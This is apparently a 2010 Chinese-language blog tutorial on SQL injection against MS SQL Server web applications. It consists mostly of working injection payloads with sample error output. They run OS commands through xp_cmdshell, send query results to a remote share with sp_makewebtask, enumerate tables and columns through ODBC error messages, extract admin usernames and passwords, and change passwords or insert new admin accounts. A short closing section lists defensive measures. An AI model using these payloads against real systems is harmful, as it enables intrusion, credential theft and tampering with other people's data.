very important -have a Look

us_yunleiwang發表於2010-06-23

請求中加入即時執行命令?
能夠進行SQL隱碼攻擊的伺服器通常都是一些疏於做系統性配置檢查的機器,此時我們可以嘗試使用SQL的命
令執行請求。預設的MS SQL伺服器是執行在SYSTEM使用者級別下的,這等同於系統管理員的執行與訪問權
限。我們可以使用MS SQL SERVER的擴充套件儲存過程(如master..xp_cmdshell等)來執行遠端系統的某些命
令:
‘; exec master..xp_cmdshell ‘ping 10.10.1.2′–
若失敗可以嘗試一下使用”(雙引號)代替’(單引號)。
上面例子中的第二個冒號代表一句SQL請求的結束(也代表了它後面緊跟著一條新SQL命令)。若要檢驗上
面這條

PING命令是否成功,你可以在10.10.1.2這臺機器上監聽ICMP請求包,並確認它是否來自那臺SQL
伺服器就可以了:
#tcpdump icmp
如果你不能從那臺SQL伺服器中得到PING請求的話,並在SQL請求的返回值中得到錯誤資訊的話,有可能
是因為該SQL伺服器的管理員限制了WEB使用者訪問這些儲存過程了。

5.0如何可以獲取到我發的SQL請求的相關返回資訊呢?
我們可以使用sp_makewebtask處理過程的相關請求寫入URL:
‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION
_SCHEMA.TABLES”
但先決條件是目標主機的資料夾“share”屬性必須設定為“Everyone”。

6.0如何可以從資料庫返回的ODBC錯誤資訊得到某些重要的資料呢?
我們可以透過傳送精心構造的SQL請求迫使MS SQL SERVER從返回的資訊中透露出我們想得到的資訊(如表
名、列名等)。比方有這麼一個URL:

在上面的URL中我們可以嘗試使用UNION子句的方式在整數’10′之後加入其他請求字串進去的,如:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
上例中的系統表INFORMATION_SCHEMA.TABLES包括了這臺伺服器中所有表的資訊。至於TABLE_NAME區域就
包括了每一個表的名稱。我們之所以要選擇這樣寫是因為我們知道它是一定存在的。換言之我們的SQL詢
問請求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
伺服器接到請求資料後必將返回資料庫的第一個表名。當我們使用UNION子句將請求字串加入整數10之
後時,MS SQL SERVER會嘗試轉換該字串為整數值。既然我們不能把字串(nvarchar)轉為整數型(int
)時,系統就會產生錯誤。伺服器會顯示如下錯誤資訊:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
table1′ to a column of data type int.
/index.asp, line 5
非常好,這條錯誤資訊告訴了我們轉換出現錯誤的所有相關資訊(包括我們想知道的表名)。在這個例項
中,我們知道了第一個表名是“table1”。若要得到下一個表名,我們可以傳送這樣的請求:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN (‘table1′)–
我們也可以透過LIKE來找尋相關的特殊字:
UNION SELECT TOP 1 TABLE_NAME FROM IN

FORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE ‘%25login%25′–
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
admin_login’ to a column of data type int.
/index.asp, line 5

6.1如何找出表中的列名?
我們可以利用另一個比較重要的表INFORMATION_SCHEMA.COLUMNS來羅列出一個表的所有列名:
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’–
輸出顯示為:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
login_id’ to a column of data type int.
/index.asp, line 5
現在已經得到第一個列的名稱了,我們還可以用NOT IN ()得到下一個列名:
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
login_name’ to a column of data type int.
/index.asp, line 5
若繼續重複這樣的操作,我們將可以獲得餘下所有的列名,如”password”、”details”。當我們使用了下
面的請求後就可以得到(除了’login_id’,'login_name’,'password’,details’之外的列名):
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,'login_name’,'password’
,details’)–
輸出後得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in
the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2如何找到我們需要的資料?
現在我們需要鑑別出一些比較重要的表與列,我們可以用相同的技巧詢問資料庫從而得到相關的資訊。
現在讓我們問問”admin_login”表的第一個使用者名稱是什麼吧:
UNION SELECT TOP 1 login_name FROM admin_login–
輸出:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
neo’ to a column of data type int.
/index.asp, line 5
知道了一個管理員帳號是”neo”。最後,問問這個管理員帳號的密碼是什麼吧:
UNION SELECT TOP 1 password FROM admin_login where login_name=’
neo’–
輸出:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
m4trix’ to a column of data type int.
/index.asp, line 5
現在我們可以用”neo”與他的密碼(“m4trix”)來登陸系統了。

6.3如何獲得數字串值?
在這裡技術上表達的一種侷限性。若要將數字(0-9之間的數字)轉換為正常的文字資料的話,我們將無法
得到我們所需要的錯誤提示資訊。舉個例子,我們現在要嘗試得到帳號為”trinity”的密碼,而它所對應
的密碼為”31173″:
UNION SELECT TOP 1 password FROM admin_login where login_name=’
trinity’–
這樣我們大概只能得到“Page Not Found”這樣的錯誤提示。這其中的主要問題在於,在與整數(這個例
子中為10)進行了合集(使用了UNION子句)以後這個密碼”31173″將會被系統轉換為數值。這樣的話這個UN
ION字句呼叫就是‘合法’的了,SQL伺服器將不會返回任何ODBC錯誤資訊,因而我們是不可能得到這些
數字型資料的。
為了解決這個問題,我們可以為這些資料字串加入一些字母表來確定轉化過程是錯誤的。讓我們試試
用下面的這條請求來代替原來的請求吧:
UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM
admin_login where login_name=’trinity’–
在這裡我們只不過是加入了一個(+)加號與其它我們想加入的字元進去而已(在ASCII中’+'等於0×2b)。我
們加入了一個(%20)空格與

morpheus(隨便一個字串)進入實際的密碼資料中。這樣的話,即使我們得到
了數字串’31173′,它也會變成’31173 morpheus’。
在執行了convert()函式後,系統會嘗試將’31173 morpheus’轉換為整數型,SQL伺服器一定會返回這樣
的ODBC錯誤資訊:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
31173 morpheus’ to a column of data type int.
/index.asp, line 5
現在你可以知道’trinity’的密碼是’31173′了吧。

7.0如何在資料庫中更新/插入資料?
當成功地收集到表中所有的列後,我們就可以在表中UPDATE(升級/修改)原有的資料或者INSERT(加入)新
的資料。打個比方,我們要修改帳號”neo”的密碼:
UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_na
me=’neo’–
加入一條新的記錄:
INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password
‘, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–
現在我們就可以以帳號”neo2″、密碼”newpas5″登陸系統了。

8.0如何避免被SQL隱碼攻擊?
過濾一些特殊像單引號、雙引號、斜槓、反斜槓、冒號、空字元等的字元,過濾的物件包括:
-使用者的輸入
-提交的URL請求中的引數部分
-從cookie中得到的資料
至於數字值,將其轉換為整數型之前必須有SQL語句宣告,或者用ISNUMERIC確定它為一個整型數。
修改“Startup and run SQL Server”的使用者執行級別為低階別。
刪除一系列你不需要的儲存過程,如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

<!--

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/23490154/viewspace-665972/,如需轉載,請註明出處,否則將追究法律責任。

相關文章